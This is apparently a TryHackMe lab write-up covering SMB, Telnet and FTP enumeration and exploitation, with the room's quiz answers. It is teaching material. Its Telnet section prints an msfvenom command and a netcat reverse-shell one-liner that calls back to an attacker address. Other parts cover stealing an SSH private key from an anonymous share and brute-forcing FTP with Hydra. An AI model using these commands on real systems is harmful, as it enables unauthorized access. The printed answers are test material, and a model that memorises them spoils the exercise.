Network Services TryHackme Writeup (SMB,Telnet,FTP)

14 min readMay 9, 2021

By Shamsher khan This is a Writeup of Tryhackme room “Network Services”

Room link: https://tryhackme.com/room/networkservices
Note: This room is for Premium Members Only. who purchased THM premium membership.

Hello and welcome!

This room will explore common Network Service vulnerabilities and misconfigurations, but in order to do that, we’ll need to do a few things first!

A basic knowledge of Linux, and how to navigate the Linux file system, is required for this room. If you think you’ll need some help with this, try completing the ‘Linux Fundamentals’ Module (https://tryhackme.com/module/linux-fundamentals)

Connect to the TryHackMe OpenVPN Server (See https://tryhackme.com/access for help!)
Make sure you’re sitting comfortably, and have a cup of Tea, Coffee or Water close!

Now, let’s move on!

N.B. This is not a room on WiFi access hacking or hijacking, rather how to gain unauthorized access to a machine by exploiting network services. If you are interested in WiFi hacking, I suggest checking out WiFi Hacking 101 by NinjaJc01 (https://tryhackme.com/room/wifihacking101)

Covered Concepts:

SMB: enum4linux and anonymous login shares
Telnet: remote code execution and reverse shells
FTP: anonymous login and authentication brute forcing

Task 2: Understanding SMB

What is SMB?

SMB — Server Message Block Protocol — is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network. [source]

Servers make file systems and other resources (printers, named pipes, APIs) available to clients on the network. Client computers may have their own hard disks, but they also want access to the shared file systems and printers on the servers.

The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages between the client and server to establish a connection. Clients connect to servers using TCP/IP (actually NetBIOS over TCP/IP as specified in RFC1001 and RFC1002), NetBEUI or IPX/SPX.

How does SMB work?

Once they have established a connection, clients can then send commands (SMBs) to the server that allow them to access shares, open files, read and write files, and generally do all the sort of things that you want to do with a file system. However, in the case of SMB, these things are done over the network.

What runs SMB?

Microsoft Windows operating systems since Windows 95 have included client and server SMB protocol support. Samba, an open source server that supports the SMB protocol, was released for Unix systems.

What does SMB stand for?

Answer: Server Message Block

What type of protocol is SMB?

Answer: response-request

What do clients connect to servers using?

Answer: TCP/IP

What systems does Samba run on?

Answer: Unix

Task 3: Enumerating SMB

Before we begin, make sure to deploy the room and give it some time to boot. Please be aware, this can take up to five minutes so be patient!

Enumeration

Enumeration is the process of gathering information on a target in order to find potential attack vectors and aid in exploitation.

This process is essential for an attack to be successful, as wasting time with exploits that either don’t work or can crash the system can be a waste of energy. Enumeration can be used to gather usernames, passwords, network information, hostnames, application data, services, or any other information that may be valuable to an attacker.

SMB

Typically, there are SMB share drives on a server that can be connected to and used to view or transfer files. SMB can often be a great starting point for an attacker looking to discover sensitive information — you’d be surprised what is sometimes included on these shares.

Port Scanning

The first step of enumeration is to conduct a port scan, to find out as much information as you can about the services, applications, structure and operating system of the target machine. You can go as in depth as you like on this, however I suggest using nmap with the -A and -p- tags.

-A : Enables OS Detection, Version Detection, Script Scanning and Traceroute all in one

-p- : Enables scanning across all ports, not just the top 1000

If you’d like to learn more about nmap in more detail, I recommend checking out DarkStar’s room on the topic, as part of the Red Primer series here.

Enum4Linux

Enum4linux is a tool used to enumerate SMB shares on both Windows and Linux systems. It is basically a wrapper around the tools in the Samba package and makes it easy to quickly extract information from the target pertaining to SMB. It’s installed by default on Parrot and Kali, however if you need to install it, you can do so from the official github.

The syntax of Enum4Linux is nice and simple: “enum4linux [options] ip”

TAG FUNCTION

-U get userlist
-M get machine list
-N get namelist dump (different from -U and-M)
-S get sharelist
-P get password policy information
-G get group and member list

-A all of the above (full basic enumeration)

Now we understand our enumeration tools, let’s get started!

Conduct an nmap scan of your choosing, How many ports are open?

Answer: 3

What ports is SMB running on?

Answer: 139/445

Let’s get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?

enum4linux -A 10.10.19.179

Answer: WORKGROUP

What comes up as the name of the machine?

Answer: POLOSMB

What operating system version is running?

Answer: 6.1

What share sticks out as something we might want to investigate?

Answer: profiles

Task 4: Exploiting SMB

Types of SMB Exploit

While there are vulnerabilities such as CVE-2017–7494 that can allow remote code execution by exploiting SMB, you’re more likely to encounter a situation where the best way into a system is due to misconfigurations in the system. In this case, we’re going to be exploiting anonymous SMB share access- a common misconfiguration that can allow us to gain information that will lead to a shell.

Method Breakdown

So, from our enumeration stage, we know:

- The SMB share location

- The name of an interesting SMB share

SMBClient

Because we’re trying to access an SMB share, we need a client to access resources on servers. We will be using SMBClient because it’s part of the default samba suite. While it is available by default on Kali and Parrot, if you do need to install it, you can find the documentation here.

We can remotely access the SMB share using the syntax:

smbclient //[IP]/[SHARE]

Followed by the tags:

-U [name] : to specify the user

-p [port] : to specify the port

Got it? Okay, let’s do this!

Question 1. What would be the correct syntax to access an SMB share called “secret” as user “suit” on a machine with the IP 10.10.10.2 on the default port?

Answer: smbclient //10.10.10.2/secret -U suit -p 445

Question 2. Great! Now you’ve got a hang of the syntax, let’s have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.

Lets see if our interesting share has been configured to allow anonymous access, I.E it doesn’t require authentication to view the files. We can do this easily by:

using the username “Anonymous”
- connecting to the share we found during the enumeration stage
- and not supplying a password.
Question 3. Does the share allow anonymous access? Y/N?

Answer: Y

Question 4. Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?

Answer: John Cactus

Question 5. What service has been configured to allow him to work from home?

Answer: ssh

Question 6. Okay! Now we know this, what directory on the share should we look in?

Answer: .ssh

Question 7. This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?

Answer: id_rsa

Download this file to your local machine, and change the permissions to “600” using “chmod 600 [file]”.

Upon inspection of the keys we can see a potential username of ‘cactus’ at the end of the public key

Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server.

Question 8. What is the smb.txt flag?

Task 5: Understanding Telnet

What is Telnet?

Telnet is an application protocol which allows you, with the use of a telnet client, to connect to and execute commands on a remote machine that’s hosting a telnet server.

The telnet client will establish a connection with the server. The client will then become a virtual terminal- allowing you to interact with the remote host.

Replacement

Telnet sends all messages in clear text and has no specific security mechanisms. Thus, in many applications and services, Telnet has been replaced by SSH in most implementations.

How does Telnet work?

The user connects to the server by using the Telnet protocol, which means entering “telnet” into a command prompt. The user then executes commands on the server by using specific Telnet commands in the Telnet prompt. You can connect to a telnet server with the following syntax: “telnet [ip] [port]”

Question 1. What is telnet?

Answer: application protocol

What has slowly replaced Telnet?

Answer: ssh

How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?

Answer: telnet 10.10.10.3 23

The lack of what, means that all Telnet communication is in plaintext?

Answer: encryption

Task 6. Enumerating Telnet

Enumeration

We’ve already seen how key enumeration can be in exploiting a misconfigured network service. However, vulnerabilities that could be potentially trivial to exploit don’t always jump out at us. For that reason, especially when it comes to enumerating network services, we need to be thorough in our method.

Port Scanning

Let’s start out the same way we usually do, a port scan, to find out as much information as we can about the services, applications, structure and operating system of the target machine. Scan the machine with nmap and the tag -A and -p-.

Tag

-A : Enables OS Detection, Version Detection, Script Scanning and Traceroute all in one

-p- : Enables scanning across all ports, not just the top 1000

How many ports are open on the target machine?

Answer: 1

What port is this?

nmap -T4 -p- 10.10.242.49
nmap -A -p 8012 10.10.242.49

Answer: 8012

#This port is unassigned, but still lists the protocol it’s using, what protocol is this?

Answer:TCP

Now re-run the nmap scan, without the -p- tag, how many ports show up as open?

Ansewer: 0

Based on the title returned to us, what do we think this port could be used for?

Answer: a backdoor

7. Who could it belong to? Gathering possible usernames is an important step in enumeration.

Answer: skidy

Task 7: Exploiting Telnet

Types of Telnet Exploit

Telnet, being a protocol, is in and of itself insecure for the reasons we talked about earlier. It lacks encryption, so sends all communication over plaintext, and for the most part has poor access control. There are CVE’s for Telnet client and server systems, however, so when exploiting you can check for those on:

A CVE, short for Common Vulnerabilities and Exposures, is a list of publicly disclosed computer security flaws. When someone refers to a CVE, they usually mean the CVE ID number assigned to a security flaw.

However, you’re far more likely to find a misconfiguration in how telnet has been configured or is operating that will allow you to exploit it.

Method Breakdown

So, from our enumeration stage, we know:

- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have possible username of “Skidy” implicated

Using this information, let’s try accessing this telnet port, and using that as a foothold to get a full reverse shell on the machine!

Connecting to Telnet

You can connect to a telnet server with the following syntax:

“telnet [ip] [port]”

We’re going to need to keep this in mind as we try and exploit this machine.

What is a Reverse Shell?

A “shell” can simply be described as a piece of code or program which can be used to gain code or command execution on a device.

A reverse shell is a type of shell in which the target machine communicates back to the attacking machine.

The attacking machine has a listening port, on which it receives the connection, resulting in code or command execution being achieved.

Okay, let’s try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.

$telnet 10.10.242.49 8012

Great! It’s an open telnet connection! What welcome message do we receive?

Answer: skidy’s backdoor

Let’s try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)

Answer: N

Hmm… that’s strange. Let’s check to see if what we’re typing is being executed as a system command.

Start a tcpdump listener on your local machine.
If using your own machine with the OpenVPN connection, use:

Start a tcpdump listener on your local machine.

If using your own machine with the OpenVPN connection, use:

sudo tcpdump ip proto \\icmp -i tun0

If using the AttackBox, use:

sudo tcpdump ip proto \\icmp -i eth0

This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.

We’re going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here’s our syntax

msfvenom -p cmd/unix/reverse_netcat lhost=10.2.12.26 lport=4444 R

mkfifo /tmp/fnnivm; nc 10.2.12.26 4444 0</tmp/fnnivm | /bin/sh >/tmp/fnnivm 2>&1; rm /tmp/fnnivm

Start a netcat listener on our local machine. We do this using: nc -lvp 4444

Task 8: Understanding FTP

What is FTP?

File Transfer Protocol (FTP) is, as the name suggests , a protocol used to allow remote transfer of files over a network. It uses a client-server model to do this, and- as we’ll come on to later- relays commands and data in a very efficient way.

How does FTP work?

A typical FTP session operates using two channels:

a command (sometimes called the control) channel
a data channel.

As their names imply, the command channel is used for transmitting commands as well as replies to those commands, while the data channel is used for transferring data.

FTP operates using a client-server protocol. The client initiates a connection with the server, the server validates whatever login credentials are provided and then opens the session.

While the session is open, the client may execute FTP commands on the server.

Active vs Passive

The FTP server may support either Active or Passive connections, or both.

In an Active FTP connection, the client opens a port and listens. The server is required to actively connect to it.
In a Passive FTP connection, the server opens a port and listens (passively) and the client connects to it.

This separation of command information and data into separate channels is a way of being able to send commands to the server without having to wait for the current data transfer to finish. If both channels were interlinked, you could only enter commands in between data transfers, which wouldn’t be efficient for either large file transfers, or slow internet connections.

More Details:

You can find more details on the technical function, and implementation of, FTP on the Internet Engineering Task Force website: https://www.ietf.org/rfc/rfc959.txt. The IETF is one of a number of standards agencies, who define and regulate internet standards.

Question 1. What communications model does FTP use?

Answer: client-server

Question 2. What’s the standard FTP port?

Answer: 21

Question 3. How many modes of FTP connection are there?

Answer: 2

Task 9: Enumerating FTP

nmap -A 10.10.143.150

Question 1. How many ports are open on the target machine?

Answer: 1

Question 2. What port is this?

Answer: 21

Question 3. What variant of FTP is running on it?

Answer: vsFTPd

We can now check to see if anonymous login is allowed on the FTP server by connecting via:

and using the username ‘anonymous’ with a blank password.

There is a file named PUBLIC_NOTICE.txt, which you can download using the get command.

Question 4. What do we think a possible username could be?

Answer: Mike

Task 10: Exploiting FTP

Now we can try to brute force our way into Mike’s account using a service like Hydra.

Hydra is a brute-forcing script that can be used for many different services, including http forms, ssh, ftp, and MYSQL.

hydra -l mike -P rockyou.txt 10.10.143.150 ftp

We can now connect to the ftp server and authenticate using the username ‘mike’ and his password, and then enter passive mode so we can run commands via:

Reading

Here’s some things that might be useful to read after completing this room, if it interests you:

You can find me on:
LinkedIn:- https://www.linkedin.com/in/shamsher-khan-651a35162/
Twitter:- https://twitter.com/shamsherkhannn
Tryhackme:- https://tryhackme.com/p/Shamsher

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